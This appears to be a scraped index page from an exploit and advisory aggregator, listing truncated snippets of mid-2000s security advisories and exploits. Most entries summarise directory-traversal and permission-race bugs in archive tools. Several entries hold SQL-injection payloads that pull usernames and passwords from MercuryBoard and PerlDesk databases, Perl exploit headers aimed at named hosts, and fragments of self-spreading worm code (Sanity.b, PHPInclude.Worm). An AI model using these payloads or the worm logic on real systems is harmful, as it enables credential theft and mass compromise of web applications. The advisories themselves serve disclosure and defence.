eventum.pl.txt

!/usr/bin/perl -w use IO::Socket; use strict; print "\n"; print " MySQL Eventum new PeerAddr = $host, PeerPort = $port, Proto = 'tcp' || die "! Unable to connect to $host\n"; my $post =...

FreeBSD : bzip2 -- denial of service and permission race vulnerabilities (197f444f-e8ef-11d9-b875-0001020eed82)

Problem Description Two problems have been discovered relating to the extraction of bzip2-compressed files. First, a carefully constructed invalid bzip2 archive can cause bzip2 to enter an infinite loop. Second, when creating a new file, bzip2 closes the file before setting its permissions. Impac...

FreeBSD : gzip -- directory traversal and permission race vulnerabilities (63bd4bad-dffe-11d9-b875-0001020eed82)

Problem Description Two problems related to extraction of files exist in gzip : The first problem is that gzip does not properly sanitize filenames containing '/' when uncompressing files using the -N command line option. The second problem is that gzip does not set permissions on newly extracted...

Javascript prompt origin spoofing — Mozilla

Alerts and prompts created by scripts in web pages are presented with the generic title JavaScript Application which sometimes makes it difficult to know which site created them. A malicious page could attempt to cause a prompt to appear in front of a trusted site in an attempt to extract...

GLSA-200506-16 : cpio: Directory traversal vulnerability

The remote host is affected by the vulnerability described in GLSA-200506-16 cpio: Directory traversal vulnerability A vulnerability has been found in cpio that can potentially allow a cpio archive to extract its files to an arbitrary directory of the creator's choice. Impact : An attacker could...

Dzip: Directory traversal vulnerability

Background Dzip is a compressor and uncompressor especially made for demo recordings of id's Quake. Description Dzip is vulnerable to a directory traversal attack when extracting archives. Impact An attacker could exploit this vulnerability by creating a specially crafted archive to extract files...

DEBIAN-CVE-2005-0602

Unzip 5.51 and earlier does not properly warn the user when extracting setuid or setgid files, which may allow local users to gain privileges...

gzip -- directory traversal and permission race vulnerabilities

Problem Description Two problems related to extraction of files exist in gzip: The first problem is that gzip does not properly sanitize filenames containing "/" when uncompressing files using the -N command line option. The second problem is that gzip does not set permissions on newly extracted...

jdk -- jar directory traversal vulnerability

Pluf has discovered a vulnerability in Sun Java JDK/SDK, which potentially can be exploited by malicious people to compromise a user's system. The jar tool does not check properly if the files to be extracted have the string "../" on its names, so it's possible for an attacker to create a malicio...

SimpGB SQL Injection Vulnerability

Hi, The PHP guestbook SimpGB 1, written by Boesch IT-Consulting 2 can be exploited to gain userdata. The quote variable isn't checked carefully in simpgb/include/gbnew.inc called by guestbook.php. I wrote a proof of concept which shows a md5 hash and the username, read from the database...

[Full-Disclosure] unace-1.2b multiple buffer overflows and directory traversal bugs

I have found multiple security vulnerabilities in unace-1.2b. It is the last free version. The later versions are just binaries for the x86 processor, which is unhelpful if you want to use free software or if your computer has a non-x86 processor. There are two buffer overflows when extracting,...

MercuryBoard <= 1.1.1 Working Sql Injection

Exploit for unknown platform in category web applications =========================================== MercuryBoard = 1.1.1 Working Sql Injection =========================================== little late posting this /str0ke Exploit:...

MercuryBoard 1.1.1 - SQL Injection

MercuryBoard 1.1.1 - SQL Injection little late posting this /str0ke Exploit: http://www.site.com/mercuryboard/index.php?a=post&s=reply&t=1&qu=10000%20UNION%20SELECT%20userpassword,username%20from%20mbusers%20where%20usergroup%20=%201%20limit%201/ milw0rm.com 2005-02-12...

r57lite211.txt

!/usr/bin/perl use LWP::UserAgent; LiteForum 2.1.1 http://www.softtime.ru sql injection exploit work on all mysql versions by 1dt.w0lf RusH security team http://rst.void.ru --------------------------------------- greets 2: ghc www.ghc.ru Gh0st Security Team http://gst.void.ru heya Ch0ke7 and off...

PerlDesk 1.x SQL-Injection Exploit

No description provided by source. !/usr/bin/perl Example: kb.cgi?view=0 UNION SELECT 1,3,password,username,3,7 FROM users Exploit is attached. ./pde.pl www.internethosting4u.com /perldesk/kb.cgi 148.244.150.58:80 use IO::Socket; print ' PerlDesk exploit Usage: ./pdsploit.pl host path proxy...

PerlDesk 1.x - SQL Injection

PerlDesk 1.x - SQL Injection !/usr/bin/perl Example: kb.cgi?view=0 UNION SELECT 1,3,password,username,3,7 FROM users Exploit is attached. ./pde.pl www.internethosting4u.com /perldesk/kb.cgi 148.244.150.58:80 use IO::Socket; print ' PerlDesk exploit Usage: ./pdsploit.pl host path proxy Vunerabilit...

7a69Adv#21 - WinRAR unpack one-folder path disclosure

------------------------------------------------------------------ 7a69ezine Advisories 7a69Adv21 - ------------------------------------------------------------------ http://www.7a69ezine.org 02/02/2005 - ------------------------------------------------------------------ Title: WinRAR unpack...

[Full-Disclosure] WinHKI - ARC File Extraction of 1KB to 1.56GB

Application: WinHKI Vendors: http://www.webtoolmaster.com Versions: 1.4d Platforms: Windows Bug: ARC File Extraction of 1KB to 1.56GB Exploitation: Local extract file Date: 24 Dec 2004 Author: Rafel Ivgi, The-Insider E-Mail: [email protected] Website: http://theinsider.deep-ice.com 1 Introducti...

Sanity.b - phpBB 2.0.10 Bot Install (AOLYahoo Search)

Sanity.b - phpBB 2.0.10 Bot Install AOLYahoo Search /usr/bin/perl use IO::Socket; use LWP::Simple; @vul = ""; $a=0; $numero = int rand999; $site = "search.aol.com"; $procura = "viewtopic.php%3Ft%3D$numero"; for$n=0;$nnewPeerAddr="$site",PeerPort="80",Proto="tcp" or next; print $sock "GET...

PHPInclude.Worm - PHP Scripts Automated Arbitrary File Inclusion

PHPInclude.Worm - PHP Scripts Automated Arbitrary File Inclusion !/usr/bin/perl use LWP::Simple; use IO::Socket::INET; while1 $numr = int rand9999; $caxe = "."; $caxe1 = "."; $caxe .= rand9999; $caxe1 .= rand9999; $arq = "."; $arq = int rand9999; opensites,"$arq"; print sites ""; closesites;...